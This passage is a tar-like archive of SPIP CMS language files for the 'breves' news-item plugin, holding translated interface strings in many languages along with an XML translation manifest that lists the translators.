'item_non_utiliser_breves' => 'הסרת שימוש המבזקים',
'item_utiliser_breves' => 'שימוש המבזקים',
// L
'logo_breve' => 'לוגו של המבזק', # MODIF
// T
'titre_breve_proposee' => 'מבזק מוצע',
'titre_breve_publiee' => 'מבזק מפורסם',
'titre_breve_refusee' => 'מבזק מסורב'
);
?>
breves_rn.php 0000666 00000001136 15252255245 0007256 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=rn
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Incamake',
// E
'entree_texte_breve' => 'Texte de la brève',
// I
'icone_breves' => 'Incamake',
'icone_ecrire_nouvel_article' => 'Incamake ziri muri iki kigabane',
'icone_modifier_breve' => 'Guhindura iyi ncamake',
'icone_nouvelle_breve' => 'Kwandika iyindi inkuru iciye bugufi'
);
?>
breves_cpf_hat.php 0000666 00000003372 15252255245 0010247 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=cpf_hat
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Tinouvèl yo',
// E
'entree_breve_publiee' => 'Eske tinouvèl-la gen pibliye ?', # MODIF
'entree_texte_breve' => 'Tèks pou tinouvèl-la',
// I
'icone_breves' => 'Tinouvèl yo',
'icone_ecrire_nouvel_article' => 'Tinouvèl yo andan ribrik la',
'icone_modifier_breve' => 'Chanje tinouvèl',
'icone_nouvelle_breve' => 'Ekri yon nouvo tinouvèl',
'info_1_breve' => '1 tinouvèl',
'info_breves' => 'Eske w sit ap itlize sistèm tinouvèl yo?',
'info_breves_02' => 'Tinouvèl yo',
'info_breves_valider' => 'Tinouvèl yo ki tann yon komandè konfime',
'info_gauche_numero_breve' => 'TINOUVÈL NIMÈWO', # MODIF
'item_breve_proposee' => 'Tinouvèl pwopoze pou parèt ', # MODIF
'item_breve_refusee' => 'NON - tinouvèl ki refize', # MODIF
'item_breve_validee' => 'WI - Tinouvèl ki konfime', # MODIF
'item_non_utiliser_breves' => 'Itilize pa tinouvèl',
'item_utiliser_breves' => 'Itilize tinouvel yo',
// L
'logo_breve' => 'LOGO TINOUVÈL', # MODIF
// T
'texte_breves' => 'Ti-nouvèl yo se ti tèks senp ki pèmè w fè parèt kèk ti enfòmasyon taptap, osnon debouye w ek yon revi-laprès, ek mèm yon kalandrye pou anonse kisa moun kap soutni.',
'titre_breve_proposee' => 'Tinouvèl pwopoze pou parèt',
'titre_breve_publiee' => 'Tinouvèl ki pibliye an liy',
'titre_breve_refusee' => 'Tinouvèl ki refize',
'titre_breves' => 'Tinouvèl yo',
'titre_langue_breve' => 'LALANNG TINOUVÈL-LA', # MODIF
'titre_page_breves' => 'Tinouvèl yo'
);
?>
breves_fr_fem.php 0000666 00000003374 15252255245 0010103 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Brève',
'breves' => 'Brèves',
// E
'entree_breve_publiee' => 'Cette brève est :',
'entree_texte_breve' => 'Texte de la brève',
// I
'icone_breves' => 'Brèves',
'icone_ecrire_nouvel_article' => 'Les brèves contenues dans cette rubrique',
'icone_modifier_breve' => 'Modifier cette brève',
'icone_nouvelle_breve' => 'Écrire une nouvelle brève',
'info_1_breve' => '1 brève',
'info_aucun_breve' => 'Aucune brève',
'info_breves' => 'Votre site utilise-t-il le système de brèves ?',
'info_breves_02' => 'Brèves',
'info_breves_valider' => 'Brèves à valider',
'info_gauche_numero_breve' => 'Brève numéro',
'info_nb_breves' => '@nb@ brèves',
'item_breve_proposee' => 'proposée à l’évaluation',
'item_breve_refusee' => 'refusée',
'item_breve_validee' => 'validée',
'item_non_utiliser_breves' => 'Ne pas utiliser les brèves',
'item_utiliser_breves' => 'Utiliser les brèves',
// L
'logo_breve' => 'Logo de la brève',
// T
'texte_breves' => 'Les brèves sont des textes courts et simples permettant de mettre en ligne rapidement des informations concises, de gérer une revue de presse, un calendrier d’événements...',
'titre_breve_proposee' => 'Brève proposée',
'titre_breve_publiee' => 'Brève publiée',
'titre_breve_refusee' => 'Brève refusée',
'titre_breves' => 'Les brèves',
'titre_langue_breve' => 'Langue de la brève',
'titre_nouvelle_breve' => 'Nouvelle brève',
'titre_page_breves' => 'Brèves'
);
?>
breves_no.php 0000666 00000003746 15252255245 0007264 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Brève', # NEW
'breves' => 'Brèves', # NEW
// E
'entree_breve_publiee' => '<NEW> Cette brève doit-elle être publiée ?', # MODIF
'entree_texte_breve' => '<NEW> Texte de la brève',
// I
'icone_breves' => '<NEW> Brèves',
'icone_ecrire_nouvel_article' => '<NEW> Les brèves contenues dans cette rubrique',
'icone_modifier_breve' => '<NEW> Modifier cette brève',
'icone_nouvelle_breve' => '<NEW> Écrire une nouvelle brève',
'info_1_breve' => '<NEW> 1 brève',
'info_aucun_breve' => 'Aucune brève', # NEW
'info_breves' => '<NEW> Votre site utilise-t-il le système de brèves ?',
'info_breves_02' => '<NEW> Brèves',
'info_breves_valider' => '<NEW> Brèves à valider',
'info_gauche_numero_breve' => '<NEW> BRÈVE NUMÉRO', # MODIF
'info_nb_breves' => '@nb@ brèves', # NEW
'item_breve_proposee' => '<NEW> Brève proposée', # MODIF
'item_breve_refusee' => '<NEW> NON - Brève refusée', # MODIF
'item_breve_validee' => '<NEW> OUI - Brève validée', # MODIF
'item_non_utiliser_breves' => '<NEW> Ne pas utiliser les brèves',
'item_utiliser_breves' => '<NEW> Utiliser les brèves',
// L
'logo_breve' => '<NEW> LOGO DE LA BRÈVE', # MODIF
// T
'texte_breves' => '<NEW> Les brèves sont des textes courts et simples permettant de
mettre en ligne rapidement des informations concises, de gérer
une revue de presse, un calendrier d\'événements...',
'titre_breve_proposee' => '<NEW> Brève proposée',
'titre_breve_publiee' => '<NEW> Brève publiée',
'titre_breve_refusee' => '<NEW> Brève refusée',
'titre_breves' => '<NEW> Les brèves',
'titre_langue_breve' => '<NEW> LANGUE DE LA BRÈVE', # MODIF
'titre_nouvelle_breve' => 'Nouvelle brève', # NEW
'titre_page_breves' => '<NEW> Brèves'
);
?>
breves_de.php 0000666 00000003337 15252255245 0007234 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Meldung',
'breves' => 'Meldungen',
// E
'entree_breve_publiee' => 'Diese Meldung ist ',
'entree_texte_breve' => 'Text der Meldung',
// I
'icone_breves' => 'Meldungen',
'icone_ecrire_nouvel_article' => 'Meldungen in dieser Rubrik',
'icone_modifier_breve' => 'Meldung bearbeiten',
'icone_nouvelle_breve' => 'Neue Meldung schreiben',
'info_1_breve' => '1 Meldung',
'info_aucun_breve' => 'Keine Meldung',
'info_breves' => 'Verwendet Ihre Website Meldungen?',
'info_breves_02' => 'Meldungen',
'info_breves_valider' => 'Zur Veröffentlichung vorgeschlagene Meldungen',
'info_gauche_numero_breve' => 'Meldung Nummer',
'info_nb_breves' => '@nb@ Meldungen',
'item_breve_proposee' => 'vorgeschlagen',
'item_breve_refusee' => 'abgelehnt',
'item_breve_validee' => 'veröffentlicht',
'item_non_utiliser_breves' => 'Keine Meldungen verwenden.',
'item_utiliser_breves' => 'Meldungen verwenden',
// L
'logo_breve' => 'Logo der Meldung',
// T
'texte_breves' => 'Meldungen sind kurze einfache Texte, um schnell und unkompliziert Nachrichten, eine Presseschau oder einen Veranstaltungskalender zu publizieren ...',
'titre_breve_proposee' => 'Vorgeschlagene Meldungen',
'titre_breve_publiee' => 'veröffentlichte Meldungen',
'titre_breve_refusee' => 'abgelehnte Meldung',
'titre_breves' => 'Meldungen',
'titre_langue_breve' => 'Sprache der Meldung',
'titre_nouvelle_breve' => 'Neue Meldung',
'titre_page_breves' => 'Meldungen'
);
?>
breves_id.php 0000666 00000003343 15252255245 0007235 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=id
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Artikel-artikel berita',
// E
'entree_breve_publiee' => 'Apakah artikel berita ini akan dipublikasikan?', # MODIF
'entree_texte_breve' => 'Teks artikel berita',
// I
'icone_breves' => 'Berita',
'icone_ecrire_nouvel_article' => 'Berita dalam bagian ini',
'icone_modifier_breve' => 'Modifikasi artikel berita ini',
'icone_nouvelle_breve' => 'Tulis sebuah artikel berita baru',
'info_1_breve' => '1 artikel berita',
'info_breves' => 'Apakah situs anda menggunakan sistem pemberitaan?',
'info_breves_02' => 'Berita',
'info_breves_valider' => 'Artikel berita yang akan divalidasi',
'info_gauche_numero_breve' => 'NOMOR ARTIKEL BERITA', # MODIF
'item_breve_proposee' => 'Artikel berita dikirim', # MODIF
'item_breve_refusee' => 'TIDAK - Artikel berita ditolak', # MODIF
'item_breve_validee' => 'YA - Artikel berita divalidasi', # MODIF
'item_non_utiliser_breves' => 'Jangan gunakan berita',
'item_utiliser_breves' => 'Gunakan berita',
// L
'logo_breve' => 'LOGO ARTIKEL BERITA', # MODIF
// T
'texte_breves' => 'Berita adalah teks singkat dan sederhana yang mengizinkan
publikasi online informasi, ulasan-ulasan, peristiwa-peristiwa.....',
'titre_breve_proposee' => 'Artikel berita yang dikirim',
'titre_breve_publiee' => 'Artikel berita dipublikasi',
'titre_breve_refusee' => 'Artikel berita ditolak',
'titre_breves' => 'Berita',
'titre_langue_breve' => 'BAHASA ARTIKEL BERITA', # MODIF
'titre_page_breves' => 'Berita'
);
?>
breves_cpf.php 0000666 00000003440 15252255245 0007407 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=cpf
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Bann tite-nouvèl',
// E
'entree_breve_publiee' => 'Pour pibliyé tit nouvèl-la ?', # MODIF
'entree_texte_breve' => 'Lo tèks pou tit-nouvèl',
// I
'icone_breves' => 'Bann tit-nouvèl',
'icone_ecrire_nouvel_article' => 'Bann tit-nouvèl dann rubrik-la',
'icone_modifier_breve' => 'Sanz tit-nouvèl-la',
'icone_nouvelle_breve' => 'Ékri inn ot tit-nouvèl',
'info_1_breve' => '1 tit-nouvèl',
'info_breves' => 'Kouk sitwèb aou i anserv lo sistèm bann tit-nouvèl ?',
'info_breves_02' => 'Bann tit-nouvèl',
'info_breves_valider' => 'Bann tit-nouvèl pou konfirmé',
'info_gauche_numero_breve' => 'TIT-NOUVÈL NIMÉRO', # MODIF
'item_breve_proposee' => 'Tit-nouvèl-la lé propozé', # MODIF
'item_breve_refusee' => 'NON - Tit-nouvèl arfizé', # MODIF
'item_breve_validee' => 'WI - Tit-nouvèl konfirmé', # MODIF
'item_non_utiliser_breves' => 'Anpès ansèrv bann tit-nouvèl',
'item_utiliser_breves' => 'Ansèrv bann tit-nouvèl',
// L
'logo_breve' => 'LOGO LA TIT-NOUVÈL', # MODIF
// T
'texte_breves' => 'Inn tit-nouvèl lé inn ti tèks sinp sak i permé mèt an liyn vitman tout bann zinformasyon préciz. Li permèt osi zèr inn tourlaprès o inn kalandryé bann zévénman...',
'titre_breve_proposee' => 'Tit-nouvèl propozé',
'titre_breve_publiee' => 'Tit-nouvèl pibliyé',
'titre_breve_refusee' => 'Tit-nouvèl arfizé',
'titre_breves' => 'Bann tit-nouvèl',
'titre_langue_breve' => 'LANG LA TITE-NOUVEL', # MODIF
'titre_page_breves' => 'Bann tit-nouvèl'
);
?>
breves_wo.php 0000666 00000001330 15252255245 0007260 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=wo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_breves' => 'Xibaar-tuut ; ',
'icone_nouvelle_breve' => ' Bindal xibaar tuut bu bees ; ',
'info_breves_02' => 'Xibaar tuut yi;',
'info_breves_valider' => 'Xibaar tuut yi ñu wara weral;',
'item_breve_proposee' => 'Xibaar tuut bi tegu.', # MODIF
// T
'titre_breve_proposee' => 'Xibaar tuut bi ñu teg.',
'titre_breve_publiee' => 'Xibaar tuut bu ñu siiwal.',
'titre_breve_refusee' => 'Xibaar bu ñu nanguwul.'
);
?>
breves_ja.php 0000666 00000003642 15252255245 0007235 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=ja
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'ニュース',
// E
'entree_breve_publiee' => 'このニュースは公開されるはずですか？', # MODIF
'entree_texte_breve' => 'ニュースの文',
// I
'icone_breves' => 'ニュース',
'icone_ecrire_nouvel_article' => 'このセクションのニュース',
'icone_modifier_breve' => 'このニュースを修正',
'icone_nouvelle_breve' => '新しいニュースを書く',
'info_1_breve' => '１ニュース',
'info_breves' => 'あなたのサイトで、ニュース・システムをお使いですか？',
'info_breves_02' => 'ニュース',
'info_breves_valider' => '検査済みニュース',
'info_gauche_numero_breve' => 'ニュース番号', # MODIF
'item_breve_proposee' => 'ニュースは提出された', # MODIF
'item_breve_refusee' => 'いいえ - ニュースは拒否された', # MODIF
'item_breve_validee' => 'はい - 検査済みニュース', # MODIF
'item_non_utiliser_breves' => 'ニュースを使わない',
'item_utiliser_breves' => 'ニュースを使う',
// L
'logo_breve' => 'ニュースのロゴ', # MODIF
// T
'texte_breves' => 'ニュースは短くて簡単な文章です。オンラインで簡潔な情報を公表したり、プレスレビューに使ったり、イベントのカレンダーなどに使えます。',
'titre_breve_proposee' => '提出されたニュース記事',
'titre_breve_publiee' => '公開されたニュース記事',
'titre_breve_refusee' => '受け付けられなかったニュース記事',
'titre_breves' => 'ニュース',
'titre_langue_breve' => 'ニュースの言語', # MODIF
'titre_page_breves' => 'ニュース'
);
?>
breves_grecgr.php 0000666 00000003616 15252255245 0010115 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Brève', # NEW
'breves' => 'News items', # NEW
// E
'entree_breve_publiee' => 'Cette brève est :', # NEW
'entree_texte_breve' => 'Texte de la brève', # NEW
// I
'icone_breves' => 'Brèves', # NEW
'icone_ecrire_nouvel_article' => 'Les brèves contenues dans cette rubrique', # NEW
'icone_modifier_breve' => 'Modifier cette brève', # NEW
'icone_nouvelle_breve' => 'Écrire une nouvelle brève', # NEW
'info_1_breve' => '1 brève', # NEW
'info_aucun_breve' => 'Aucune brève', # NEW
'info_breves' => 'Votre site utilise-t-il le système de brèves ?', # NEW
'info_breves_02' => 'Brèves', # NEW
'info_breves_valider' => 'Brèves à valider', # NEW
'info_gauche_numero_breve' => 'Brève numéro', # NEW
'info_nb_breves' => '@nb@ brèves', # NEW
'item_breve_proposee' => 'proposée à l\'évaluation', # NEW
'item_breve_refusee' => 'refusée', # NEW
'item_breve_validee' => 'validée', # NEW
'item_non_utiliser_breves' => 'Ne pas utiliser les brèves', # NEW
'item_utiliser_breves' => 'Utiliser les brèves', # NEW
// L
'logo_breve' => 'Logo de la brève', # NEW
// T
'texte_breves' => 'Les brèves sont des textes courts et simples permettant de
mettre en ligne rapidement des informations concises, de gérer
une revue de presse, un calendrier d\'événements...', # NEW
'titre_breve_proposee' => 'Brève proposée', # NEW
'titre_breve_publiee' => 'Brève publiée', # NEW
'titre_breve_refusee' => 'Brève refusée', # NEW
'titre_breves' => 'Les brèves', # NEW
'titre_langue_breve' => 'Langue de la brève', # NEW
'titre_nouvelle_breve' => 'Nouvelle brève', # NEW
'titre_page_breves' => 'Brèves' # NEW
);
?>
paquet-breves.xml 0000666 00000010502 15252255245 0010062 0 ustar 00 <traduction module="paquet-breves" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/breves/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=ar" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=de" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=en" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="Quentin" lien="http://trad.spip.net/auteur/quentin" />
</langue>
<langue code="eo" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=eo" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=es" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
<traducteur nom="Raquel S. Bujaldón" lien="http://trad.spip.net/auteur/raquel-s-bujaldon" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=fa" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=fr" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=fr_fem" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="fr_tu" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=fr_tu" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="RealET" lien="http://trad.spip.net/auteur/realet" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=it" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=lb" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=nl" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=pt" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=pt_br" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=ru" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=sk" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
breves_ss.php 0000666 00000003625 15252255245 0007271 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breve' => 'Brève', # NEW
'breves' => 'Nauji straipsniai', # NEW
// E
'entree_breve_publiee' => 'Cette brève est :', # NEW
'entree_texte_breve' => 'Texte de la brève', # NEW
// I
'icone_breves' => 'Brèves', # NEW
'icone_ecrire_nouvel_article' => 'Les brèves contenues dans cette rubrique', # NEW
'icone_modifier_breve' => 'Modifier cette brève', # NEW
'icone_nouvelle_breve' => 'Écrire une nouvelle brève', # NEW
'info_1_breve' => '1 brève', # NEW
'info_aucun_breve' => 'Aucune brève', # NEW
'info_breves' => 'Votre site utilise-t-il le système de brèves ?', # NEW
'info_breves_02' => 'Brèves', # NEW
'info_breves_valider' => 'Brèves à valider', # NEW
'info_gauche_numero_breve' => 'Brève numéro', # NEW
'info_nb_breves' => '@nb@ brèves', # NEW
'item_breve_proposee' => 'proposée à l\'évaluation', # NEW
'item_breve_refusee' => 'refusée', # NEW
'item_breve_validee' => 'validée', # NEW
'item_non_utiliser_breves' => 'Ne pas utiliser les brèves', # NEW
'item_utiliser_breves' => 'Utiliser les brèves', # NEW
// L
'logo_breve' => 'Logo de la brève', # NEW
// T
'texte_breves' => 'Les brèves sont des textes courts et simples permettant de
mettre en ligne rapidement des informations concises, de gérer
une revue de presse, un calendrier d\'événements...', # NEW
'titre_breve_proposee' => 'Brève proposée', # NEW
'titre_breve_publiee' => 'Brève publiée', # NEW
'titre_breve_refusee' => 'Brève refusée', # NEW
'titre_breves' => 'Les brèves', # NEW
'titre_langue_breve' => 'Langue de la brève', # NEW
'titre_nouvelle_breve' => 'Nouvelle brève', # NEW
'titre_page_breves' => 'Brèves' # NEW
);
?>
breves_bg.php 0000666 00000003665 15252255245 0007240 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=bg
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Новини',
// E
'entree_breve_publiee' => 'Тази новина за публикуване ли е?', # MODIF
'entree_texte_breve' => 'Текст на новината',
// I
'icone_breves' => 'Новини',
'icone_ecrire_nouvel_article' => 'Новини от рубриката',
'icone_modifier_breve' => 'Промяна на новината',
'icone_nouvelle_breve' => 'Съставяне на новина',
'info_1_breve' => '1 новина',
'info_breves' => 'Вашият сайт използва ли системата за новини?',
'info_breves_02' => 'Новини',
'info_breves_valider' => 'Новини за одобрение',
'info_gauche_numero_breve' => 'НОМЕР НА НОВИНАТА', # MODIF
'item_breve_proposee' => 'Изпратени новини', # MODIF
'item_breve_validee' => 'Да - одобряване на новината', # MODIF
'item_non_utiliser_breves' => 'Не',
'item_utiliser_breves' => 'Да',
// L
'logo_breve' => 'ЛОГО НА НОВИНАТА', # MODIF
// T
'texte_breves' => 'Новините са кратки и прости съобщения, които позволяват публикуване
на сбита информация, преглед на пресата, календар на
събитията и пр.',
'titre_breve_proposee' => 'Изпратена новина',
'titre_breve_publiee' => 'Публикувана новина',
'titre_breve_refusee' => 'Отхвърлена новина',
'titre_breves' => 'Новини',
'titre_langue_breve' => 'ЕЗИК НА НОВИНАТА', # MODIF
'titre_page_breves' => 'Новини'
);
?>
breves_roa.php 0000666 00000002051 15252255245 0007415 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=roa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Brèf',
// E
'entree_breve_publiee' => 'Cette brève doit-elle être publiée ?', # MODIF
// I
'icone_breves' => 'Brèves',
'icone_nouvelle_breve' => 'Écrire une nouvelle brève',
'info_breves_02' => 'Brèves',
'info_breves_valider' => 'Brèves à valider',
'info_gauche_numero_breve' => 'BRÈVE NUMÉRO', # MODIF
'item_breve_proposee' => 'Brève proposée', # MODIF
'item_breve_refusee' => 'NON - Brève refusée', # MODIF
'item_breve_validee' => 'OUI - Brève validée', # MODIF
// L
'logo_breve' => 'LOGO DE LA BRÈVE', # MODIF
// T
'titre_breve_proposee' => 'Brève proposée',
'titre_breve_publiee' => 'Brève publiée',
'titre_breve_refusee' => 'Brève refusée',
'titre_langue_breve' => 'LANGUE DE LA BRÈVE' # MODIF
);
?>
breves_ay.php 0000666 00000002216 15252255245 0007250 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=ay
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Jisk’aptatanaka',
// E
'entree_breve_publiee' => '¿Aka jisk’aptat yatiysnat?
', # MODIF
'entree_texte_breve' => 'Jisk’aptata sawu',
// I
'icone_breves' => 'Jisk’aptatanaka',
'icone_ecrire_nouvel_article' => 'Aka t’aqat jisk’aptatanakaxa ',
'icone_modifier_breve' => 'Aka jisk’aptata mayjt’ayaña',
'icone_nouvelle_breve' => 'Machaq jiskht’aptata',
'info_1_breve' => '1 jisk’aptata',
'info_breves' => 'Jisk’aptatanak apnaqaw apnaqasmaw',
'info_breves_02' => 'Jisk’aptatanaka',
'info_breves_valider' => 'Jisk’aptatanak iyaw sañataki',
'info_gauche_numero_breve' => 'Jisk’aptata', # MODIF
'item_breve_proposee' => 'Jisk’aptat amtawi', # MODIF
// T
'titre_breve_proposee' => 'Jisk’aptat amtata',
'titre_breve_publiee' => 'Jisk’aptat iyaw sata',
'titre_breve_refusee' => 'Jisk’aptat janiw sata'
);
?>
breves_el.php 0000666 00000003202 15252255245 0007233 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=el
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'Σύντομες ειδήσεις',
// E
'entree_breve_publiee' => 'Πρέπει να δημοσιευτεί αυτή η είδηση;', # MODIF
'entree_texte_breve' => 'Κείμενο του στοιχείου ειδήσεων',
// I
'icone_breves' => 'Ειδήσεις',
'icone_ecrire_nouvel_article' => 'Οι ειδήσεις που περιέχονται σε αυτή την κατηγορία',
'icone_modifier_breve' => 'Τροποποίηση αυτής της είδησης',
'icone_nouvelle_breve' => 'Γράψε ένα καινούργιο σύντομο νέο',
'info_1_breve' => '1 στοιχείο ειδήσεων',
'info_breves' => 'Χρησιμοποιεί ο ιστοχώρος σας το σύστημα ειδήσεων?',
'info_breves_02' => 'Σύντομα νέα',
'info_breves_valider' => 'Σύντομα νέα για επικύρωση',
'info_gauche_numero_breve' => 'ΝΟΥΜΕΡΟ ΣΤΟΙΧΕΙΟΥ ΕΙΔΗΣΕΩΝ', # MODIF
'item_breve_proposee' => 'Προτεινόμενη είδηση', # MODIF
// T
'titre_breve_proposee' => 'Προτεινόμενη είδηση',
'titre_breve_publiee' => 'Δημοσιευμένη είδηση',
'titre_breve_refusee' => 'Είδηση που απορρίφθηκε',
'titre_breves' => 'Οι ειδήσεις',
'titre_page_breves' => 'Ειδήσεις'
);
?>
paquet-breves_fa.php 0000666 00000000734 15252255245 0010525 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'اين خبرها اطلاعات كوتاه و بدون مؤلف هستند',
'breves_slogan' => 'مديريت خبرها در اسپيپ'
);
?>
breves_ro.php 0000666 00000003204 15252255245 0007255 0 ustar 00 <?php
